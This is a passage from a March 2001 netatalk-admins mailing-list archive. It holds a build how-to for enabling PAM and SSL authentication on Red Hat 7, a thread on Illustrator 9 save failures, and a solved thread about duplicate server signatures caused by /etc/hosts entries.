<DIV><FONT face=3DArial size=3D2>Only guest login were OK...cause the =
rpm binary=20
install do not support pam, des, ssl by default :-(</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>One&nbsp;night after, and reading this =
mailing=20
archives, I did it successfully.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>So here are my tips, hoping it will =
help someone=20
one day!</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Compile your kernel with support for =
Appletalk DDP=20
as a module.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>(I use a custom modified kernel based=20
on&nbsp;2.2.16 kernel instead of the 2.2.16-22 from the =
RH7)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>If not installed, install the external =
libs: pwdb,=20
pam, openssl</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>easy install with RH rpms: =
</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>openssl-0.9.5a-14<BR>openssl-devel-0.9.5a-14<BR>pam-0.72-26<BR>p=
wdb-0.61.1-1</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>also, check that you have the =
/usr/include/des.h on=20
your box.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Install the source from the rpm : =
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>rpm -i=20
netatalk-1.4b2+asun2.1.4-0.i386.rpm</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>cd /usr/src/redhat/SOURCE (where rpm =
put=20
it!)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>to unzip the source:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>tar -zxvf =
netatalk-1.4b2+asun2.1.4.tar.gz=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>cd =
netatalk-1.4b2+asun2.1.4</FONT></DIV>
<DIV><FONT face=3DArial size=3D2><BR>then edit the Makefile</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>uncomment the install =
prefixes:</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>SBINDIR=3D${INSTALL_PREFIX}/usr/sbin<BR>BINDIR=3D${INSTALL_PREFI=
X}/usr/bin<BR>LIBDIR=3D${INSTALL_PREFIX}/usr/lib<BR>RESDIR=3D${INSTALL_PR=
EFIX}/usr/lib/atalk<BR>ETCDIR=3D${INSTALL_PREFIX}/etc/atalk<BR>INCDIR=3D$=
{INSTALL_PREFIX}/usr/include<BR>MANDIR=3D${INSTALL_PREFIX}/usr/man</FONT>=
</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>set the crypto dir var to:</FONT></DIV>
<DIV><FONT face=3DArial =
size=3D2>CRYPTODIR=3D/usr/include/openssl</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>( this is the default location from the =
openssl rpm=20
install)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>set the vars:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>DESDIR=3D/usr/lib</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>PAMDIR=3D/usr</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>and, (and also that's why I =
spend&nbsp;one night=20
awake), edit the etc/uams/Makefile and near the line 43, =
change:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>CRYPTOINCPATH=3D"-I${CRYPTODIR}/include =

-I${CRYPTODIR}/include/openssl";\</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>by :</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>CRYPTOINCPATH=3D"-I${CRYPTODIR}"; =
\<BR></FONT></DIV>
<DIV><FONT face=3DArial size=3D2>then run a : make depend; make =
&amp;&amp; make=20
install</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>edit your /etc/atalk/afpd.conf =
and&nbsp; add the=20
needed dso modules to the uamlist of your config.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>then start the daemon:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>/etc/init.d/atalk start</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>check the /var/log/messages for lines=20
like:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>afpd[7991]: uam: uams_dhx.so =
loaded<BR>afpd[7991]:=20
uam: uams_randnum.so loaded<BR>afpd[7991]: uam: "2-Way Randnum exchange" =

available<BR>afpd[7991]: uam: "Randnum exchange" =
available<BR>afpd[7991]: uam:=20
"DHCAST128" available<BR></DIV></FONT>
<DIV><FONT face=3DArial size=3D2>...</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>note that some of the dso are =
links:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>#ls =
-al&nbsp;/usr/lib/atalk/uams/<BR>total=20
48<BR>lrwxrwxrwx&nbsp;&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;=20
root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 11 mar =
22 17:24=20
uams_clrtxt.so -&gt; uams_pam.so<BR>lrwxrwxrwx&nbsp;&nbsp;&nbsp; 1=20
root&nbsp;&nbsp;&nbsp;&nbsp;=20
root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 15 mar =
22 17:24=20
uams_dhx.so -&gt; uams_dhx_pam.so<BR>-rwxr-xr-x&nbsp;&nbsp;&nbsp; 1=20
root&nbsp;&nbsp;&nbsp;&nbsp;=20
root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8757 mar 22 17:24=20
uams_dhx_pam.so<BR>-rwxr-xr-x&nbsp;&nbsp;&nbsp; 1 =
root&nbsp;&nbsp;&nbsp;&nbsp;=20
root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5948 mar 22 17:24=20
uams_dhx_passwd.so<BR>-rwxr-xr-x&nbsp;&nbsp;&nbsp; 1=20
root&nbsp;&nbsp;&nbsp;&nbsp;=20
root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3386 mar 22 17:24=20
uams_guest.so<BR>-rwxr-xr-x&nbsp;&nbsp;&nbsp; 1 =
root&nbsp;&nbsp;&nbsp;&nbsp;=20
root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6027 mar 22 17:24=20
uams_pam.so<BR>-rwxr-xr-x&nbsp;&nbsp;&nbsp; 1 =
root&nbsp;&nbsp;&nbsp;&nbsp;=20
root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4001 mar 22 17:24=20
uams_passwd.so<BR>-rwxr-xr-x&nbsp;&nbsp;&nbsp; 1 =
root&nbsp;&nbsp;&nbsp;&nbsp;=20
root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 9286 mar 22 17:24=20
uams_randnum.so<BR></FONT></DIV>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2>that's it, now my Mac clients are able =
to login=20
with their Unix accounts too, no need for .passwd files!</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV></FONT></DIV>
<DIV><FONT face=3DArial size=3D2>a call to sleep(12*3600) needed now=20
:-)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT><FONT face=3DArial =
size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Guillaume.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;</DIV></FONT></BODY></HTML>

------=_NextPart_000_0053_01C0B388.5E191480--


From netatalk.administrators-errors@umich.edu  Fri Mar 23 08:09:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA10004
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Mar 2001 08:09:38 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA05971
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Mar 2001 08:09:38 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA05959
	for netatalk.administrators-members@umich.edu; Fri, 23 Mar 2001 08:09:37 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id IAA05933
	for <netatalk-admins@umich.edu>; Fri, 23 Mar 2001 08:09:36 -0500 (EST)
Received: (qmail 3460 invoked by uid 500); 23 Mar 2001 13:09:21 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 23 Mar 2001 13:09:21 -0000
Date: Fri, 23 Mar 2001 07:09:21 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: Mac Conin <mconin@euc.de>
cc: Tom Barrons <tom@byte-productions.com>, <netatalk-admins@umich.edu>
Subject: Re: Illustrator EPS files
In-Reply-To: <3ABB0541.DEE7F02A@euc.de>
Message-ID: <Pine.LNX.4.30.0103230705420.3458-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Has anyone else experienced problems with saving and retrieving
Illustrator 9 files? Have you tried using the following RPM with
Illustrator files?

ftp://mirror.sit.wisc.edu/pub/linux/distributions/redhat/beta/wolverine/en/powertools/i386/RedHat/RPMS/netatalk-1.5pre2-4.i386.rpm

I would like to know if this RPM does the same thing with your Illustrator
files.

Thanks.
-Dan

On Fri, 23 Mar 2001, Mac Conin wrote:

> We have some customers using Illu 9.0 (plus the availaable patches). It
> seems that Illustrator 9 has some significant bugs while storing and
> exporting files. Our customer stepped back to Version 8 and everthing
> works fine.
>
> Tom Barrons wrote:
> >
> > Hi all,
> >
> > I could use some help.  I just built a new fileserver for a mixed
> > Mac/Windows environment, I'm running netatalk and samba.  This is only the
> > second such install I've done.  My first one was a while ago and it's been
> > running great. I tried replicating the problem on my first install using the
> > same files, the first one does not have the problem.
> >
> > First machine I'm running Yellow Dog Linux Champion Server 1.1 with
> > netatalk-1.4b2+asun2.1.3, from an RPM provided with the distrobution.  The
> > new machine having the problem is RedHat 7 also with
> > netatalk-1.4b2+asun2.1.3, this RPM was from RedHat's site. The two machines
> > are on different networks in different buildings.
> >
> > This art department, all Macs, use Adobe Illustrator version 9.  If a user
> > tries saving a file directly to the server as an EPS "occasionally" they get
> > kicked off the server and have to reconnect.  They never have this problem
> > if they save the file locally and then drag copy it over the network, only
> > if they are saving it from within Illustrator.
> >
> > I don't see this as being to big of a problem myself but I can't seem to get
> > them in the habit of doing it this way and not complaining about it.  This
> > didn't used to happen on their old NT server so of course they think the
> > Linux one is broken and I want to prove otherwise.  Everything else on the
> > Samba/Windows end is working on this new install.
> >
> > After skimming through archives of this list I suspected the CRLF
> > translation and I believe I correctly disabled that by adding -nocrlf to
> > afpd.conf? I restarted netatlk but the problem persists.
> >
> > Since I didn't compile this myself I also wonder about a difference there,
> > and how could I check for this?  Could this still be something in netatalk
> > or a config somewhere, or should I be looking elsewhere on the server or the
> > network?
> >
> > Thanks for any help.
> > Tom
>
>

-- 


From netatalk.administrators-errors@umich.edu  Fri Mar 23 09:13:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA11258
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Mar 2001 09:13:36 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA02691
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Mar 2001 09:13:28 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA02653
	for netatalk.administrators-members@umich.edu; Fri, 23 Mar 2001 09:13:27 -0500 (EST)
Received: from jason01.u.washington.edu (jason01.u.washington.edu [140.142.8.10])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA02576
	for <netatalk-admins@umich.edu>; Fri, 23 Mar 2001 09:13:25 -0500 (EST)
Received: from homer13.u.washington.edu (cent@homer13.u.washington.edu [140.142.8.13])
	by jason01.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f2NEDVG18610
	for <netatalk-admins@umich.edu>; Fri, 23 Mar 2001 06:13:31 -0800
Received: from localhost (cent@localhost)
	by homer13.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f2NEDUm135618
	for <netatalk-admins@umich.edu>; Fri, 23 Mar 2001 06:13:30 -0800
Date: Fri, 23 Mar 2001 06:13:30 -0800 (PST)
From: R Cent <cent@u.washington.edu>
cc: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Joe
In-Reply-To: <15034.4788.849611.662596@h0050da615e79.ne.mediaone.net>
Message-ID: <Pine.A41.4.33.0103230610560.118376-100000@homer13.u.washington.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


Hi,

Why does the v7.0-2 Mandrake Update utility want to update
(install?) the text editor called "Joe" on my server?  I have
removed any files related to Joe and the updater still presents
it.  Thanks.

_____________________________
Bob Cent
University of Washington
Box 357330
Seattle, WA  98195-7330

mailto: cent@u.washington.edu
voice:  206.543.1433
fax:    206.685.0305
_____________________________


From netatalk.administrators-errors@umich.edu  Fri Mar 23 09:55:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA12519
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Mar 2001 09:55:01 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA06856
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Mar 2001 09:54:53 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA06828
	for netatalk.administrators-members@umich.edu; Fri, 23 Mar 2001 09:54:52 -0500 (EST)
Received: from specialreserve.net (www3.reserve.co.uk [195.216.17.3])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA06781
	for <netatalk-admins@umich.edu>; Fri, 23 Mar 2001 09:54:50 -0500 (EST)
Received: from [192.168.1.57] (195.216.17.40) by specialreserve.net with ESMTP
 (Eudora Internet Mail Server 2.2.2); Fri, 23 Mar 2001 14:53:52 +0000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 23 Mar 2001 14:54:57 +0000
Subject: Re: Multiple Netatalk servers
From: Basil Hussain <basil.hussain@specialreserve.net>
To: MATSUDA Hitoshi <hitoshi@mathit.co.jp>, <netatalk-admins@umich.edu>,
        "Bruce A. Burdick, Jr." <bucky@interaccess.com>
Message-ID: <B6E11441.5585%basil.hussain@specialreserve.net>
In-Reply-To: <a04320400b6e09376be99@[192.168.1.102]>
Mime-version: 1.0
Organization: Inter-Mediates Ltd.
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi,

> I met strange problem.

> When we try to mount Server-B after Server-D already be mounted, Maicntosh
> says that "Server-B is already mounted!". When we try to mount Server-D
> after Server-B already be mounted, Macintosh says "Server-D already
> mounted!". Other combinations has no trouble.

This has been discussed on the list before and a solution was found. In
fact, I suffered from the same problem myself not so long ago. Anyway, I
enclose at the end of this message the solution repeated to me then.

To put it easily, though, all you need to do is change your /etc/hosts file
from this:

127.0.0.1       localhost       localhost.localdomain
192.168.1.1      yourhost.domain.com     yourhost

To this:

192.168.1.1      yourhost.domain.com     yourhost
127.0.0.1       localhost       localhost.localdomain

It needs re-arranging so that the line with the normal IP address
(192.168.1.1 in the example) of your server is the first line and the
loopback address (127.0.0.1) is below.

Regards,

------------------------------------------------
Basil Hussain (basil.hussain@specialreserve.net)


------------------------------------------------------------
From: "Joe Rhodes" <joe_b_rhodes@hotmail.com>
Subject: Two servers --Solved!!!

      For the sake of someone searching through the archives for
this at a latter date, here's a synopsis of the problem:
      You have two netatalk servers (RedHat Linux Based--Intel or
LinuxPPC) running on the same network.  They have different names,
and each show up in the chooser seperately.  However, when you log
into one, the client mac sees the other as the same server as the
first one you logged onto--and vice versa.

      Getting both servers to be recognized as different servers
involved getting them to have unique server signatures.  As was
pointed out to me, this is directly affected by the value returned by
the hostid command.  For instance, my results from hostid were 17f00.
Looking at that, 7f is hex for 127.

      As it turns out, the hostid is based off your server name and
whatever that server name has for an address in /etc/hosts.  For
instance, in the file /etc/HOSTNAME my test server is called
LittleLinux. In /etc/hosts I MUST have a line that goes something
like this:
  192.168.0.1  LittleLinux    LittleLinux.localdomain

  You can (and probably should, but I don't know, I'm no expert) have
the default line of
  127.0.0.1    localhost    localhost.localdomain
  in there.  As long as the machine can find a match to what it thinks
is the hostname, it will hash that IP address as the hostid, and
consequently, as the Server Signature.  By testing, I found it makes
no difference what order the lines appear.

      If you do not have a line that matches, the machine will use
the "localhost" entry.  I ended up with two servers both hashing
127.0.0.1 as a hostid.

  The number here does not HAVE to be the correct IP address.  (For
instance, on my test machine, I run as a DHCP client, but I just left
that 192.168 address there for grins.)  If you do have the correct
address there, then it will be transmitted to your client, and if the
client will support it, it will connect via TCP/IP.  (Unless you
specify otherwise in your config file.)

  I need to make sure and give a big THANK YOU to all the people that
helped me figure this one out.  It's really cool how quickly you all
responded with suggestions even though I'm sure you're all pretty
busy with your own problems.

  Does anyone know if there is an FAQ-O-Matic that this should go in?
Perhaps a centrally kept FAQ somewhere?  Or do we just rely on the
e-mail archive searches for this?  (Which is primarily what I've been
using.)

  Thanks again everyone!

  -Joe Rhodes
------------------------------------------------------------


From netatalk.administrators-errors@umich.edu  Fri Mar 23 10:25:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA13183
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Mar 2001 10:25:55 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA09695
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Mar 2001 10:25:55 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA09677
	for netatalk.administrators-members@umich.edu; Fri, 23 Mar 2001 10:25:54 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA09524
	for <netatalk-admins@umich.edu>; Fri, 23 Mar 2001 10:25:49 -0500 (EST)
Received: (qmail 3588 invoked by uid 500); 23 Mar 2001 15:25:33 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 23 Mar 2001 15:25:33 -0000
Date: Fri, 23 Mar 2001 09:25:33 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: Basil Hussain <basil.hussain@specialreserve.net>
cc: MATSUDA Hitoshi <hitoshi@mathit.co.jp>, <netatalk-admins@umich.edu>,
        "Bruce A. Burdick, Jr." <bucky@interaccess.com>
Subject: Re: Multiple Netatalk servers
In-Reply-To: <B6E11441.5585%basil.hussain@specialreserve.net>
Message-ID: <Pine.LNX.4.30.0103230924450.3551-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Seems like something that should be committed to the SourceForge Netatalk
FAQ, huh?

-Dan

On Fri, 23 Mar 2001, Basil Hussain wrote:

> Hi,
>
> > I met strange problem.
>
> > When we try to mount Server-B after Server-D already be mounted, Maicntosh
> > says that "Server-B is already mounted!". When we try to mount Server-D
> > after Server-B already be mounted, Macintosh says "Server-D already
> > mounted!". Other combinations has no trouble.
>
> This has been discussed on the list before and a solution was found. In
> fact, I suffered from the same problem myself not so long ago. Anyway, I
> enclose at the end of this message the solution repeated to me then.
>
> To put it easily, though, all you need to do is change your /etc/hosts file
> from this:
>
> 127.0.0.1       localhost       localhost.localdomain
> 192.168.1.1      yourhost.domain.com     yourhost
>
> To this:
>
> 192.168.1.1      yourhost.domain.com     yourhost
> 127.0.0.1       localhost       localhost.localdomain
>
> It needs re-arranging so that the line with the normal IP address
> (192.168.1.1 in the example) of your server is the first line and the
> loopback address (127.0.0.1) is below.
>
> Regards,
>
> ------------------------------------------------
> Basil Hussain (basil.hussain@specialreserve.net)
>
>
> ------------------------------------------------------------
> From: "Joe Rhodes" <joe_b_rhodes@hotmail.com>
> Subject: Two servers --Solved!!!
>
>       For the sake of someone searching through the archives for
> this at a latter date, here's a synopsis of the problem:
>       You have two netatalk servers (RedHat Linux Based--Intel or
> LinuxPPC) running on the same network.  They have different names,
> and each show up in the chooser seperately.  However, when you log
> into one, the client mac sees the other as the same server as the
> first one you logged onto--and vice versa.
>
>       Getting both servers to be recognized as different servers
> involved getting them to have unique server signatures.  As was
> pointed out to me, this is directly affected by the value returned by
> the hostid command.  For instance, my results from hostid were 17f00.
> Looking at that, 7f is hex for 127.
>
>       As it turns out, the hostid is based off your server name and
> whatever that server name has for an address in /etc/hosts.  For
> instance, in the file /etc/HOSTNAME my test server is called
> LittleLinux. In /etc/hosts I MUST have a line that goes something
> like this:
>   192.168.0.1  LittleLinux    LittleLinux.localdomain
>
>   You can (and probably should, but I don't know, I'm no expert) have
> the default line of
>   127.0.0.1    localhost    localhost.localdomain
>   in there.  As long as the machine can find a match to what it thinks
> is the hostname, it will hash that IP address as the hostid, and
> consequently, as the Server Signature.  By testing, I found it makes
> no difference what order the lines appear.
>
>       If you do not have a line that matches, the machine will use
> the "localhost" entry.  I ended up with two servers both hashing
> 127.0.0.1 as a hostid.
>
>   The number here does not HAVE to be the correct IP address.  (For
> instance, on my test machine, I run as a DHCP client, but I just left
> that 192.168 address there for grins.)  If you do have the correct
> address there, then it will be transmitted to your client, and if the
> client will support it, it will connect via TCP/IP.  (Unless you
> specify otherwise in your config file.)
>
>   I need to make sure and give a big THANK YOU to all the people that
> helped me figure this one out.  It's really cool how quickly you all
> responded with suggestions even though I'm sure you're all pretty
> busy with your own problems.
>
>   Does anyone know if there is an FAQ-O-Matic that this should go in?
> Perhaps a centrally kept FAQ somewhere?  Or do we just rely on the
> e-mail archive searches for this?  (Which is primarily what I've been
> using.)
>
>   Thanks again everyone!
>
>   -Joe Rhodes
> ------------------------------------------------------------
>
>


From netatalk.administrators-errors@umich.edu  Fri Mar 23 11:12:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA14067
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Mar 2001 11:12:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA04811
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Mar 2001 11:12:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA04786
	for netatalk.administrators-members@umich.edu; Fri, 23 Mar 2001 11:12:10 -0500 (EST)
Received: from rgrjr.dyndns.org (h0050da615e79.ne.mediaone.net [24.218.161.12])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA04734
	for <netatalk-admins@umich.edu>; Fri, 23 Mar 2001 11:12:08 -0500 (EST)
Received: (qmail 7426 invoked by uid 500); 23 Mar 2001 16:12:07 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15035.30167.439375.124029@h0050da615e79.ne.mediaone.net>
Date: Fri, 23 Mar 2001 11:12:07 -0500
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: Basil Hussain <basil.hussain@specialreserve.net>
Cc: MATSUDA Hitoshi <hitoshi@mathit.co.jp>, <netatalk-admins@umich.edu>,
        "Bruce A. Burdick, Jr." <bucky@interaccess.com>
Subject: Re: Multiple Netatalk servers
In-Reply-To: <B6E11441.5585%basil.hussain@specialreserve.net>
References: <a04320400b6e09376be99@[192.168.1.102]>
	<B6E11441.5585%basil.hussain@specialreserve.net>
X-Mailer: VM 6.89 under Emacs 20.7.1

   From: Basil Hussain <basil.hussain@specialreserve.net>
   Date: Fri, 23 Mar 2001 14:54:57 +0000

   ------------------------------------------------------------
   From: "Joe Rhodes" <joe_b_rhodes@hotmail.com>
   Subject: Two servers --Solved!!!

     You can (and probably should, but I don't know, I'm no expert) have
   the default line of
     127.0.0.1    localhost    localhost.localdomain
   in there . . .

FWIW, my /etc/hosts has no 127.0.0.1 line, and the loopback interface
seems to be fully functional (under RH 6.0 +errata, kernel 2.2.17).  I
don't think there even was an /etc/hosts before I created it.

   But I'm sure this is quite specific to Linux and/or Red Hat.  (Though
I'm no expert, either.)

					-- Bob Rogers

From netatalk.administrators-errors@umich.edu  Fri Mar 23 11:37:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA15068
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Mar 2001 11:37:26 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA10554
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Mar 2001 11:37:26 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA10524
	for netatalk.administrators-members@umich.edu; Fri, 23 Mar 2001 11:37:25 -0500 (EST)
Received: from mail.teleologic.net (17eos170.eosinc.com [12.39.14.170])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA10480
	for <netatalk-admins@umich.edu>; Fri, 23 Mar 2001 11:37:24 -0500 (EST)
Received: by mail.teleologic.net (Postfix, from userid 1049)
	id 2DE412B90E8; Fri, 23 Mar 2001 10:37:23 -0600 (CST)
Date: Fri, 23 Mar 2001 10:37:23 -0600
From: Danny Sauer <dsauer@teleologic.net>
To: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
Cc: netatalk-admins@umich.edu
Subject: Re: Multiple Netatalk servers
Message-ID: <20010323103723.F10644@teleologic.net>
References: <a04320400b6e09376be99@[192.168.1.102]> <B6E11441.5585%basil.hussain@specialreserve.net> <15035.30167.439375.124029@h0050da615e79.ne.mediaone.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <15035.30167.439375.124029@h0050da615e79.ne.mediaone.net>; from rogers-netatalk@rgrjr.dyndns.org on Fri, Mar 23, 2001 at 11:12:07AM -0500
X-Operating-System: Linux 2.2.16 i686
X-Dont-Spam-Me: I might come after you

Bob wrote regarding 'Re: Multiple Netatalk servers' on Fri, Mar 23 at 10:23:
>    From: Basil Hussain <basil.hussain@specialreserve.net>
>    Date: Fri, 23 Mar 2001 14:54:57 +0000
> 
>    ------------------------------------------------------------
>    From: "Joe Rhodes" <joe_b_rhodes@hotmail.com>
>    Subject: Two servers --Solved!!!
> 
>      You can (and probably should, but I don't know, I'm no expert) have
>    the default line of
>      127.0.0.1    localhost    localhost.localdomain
>    in there . . .
> 
> FWIW, my /etc/hosts has no 127.0.0.1 line, and the loopback interface
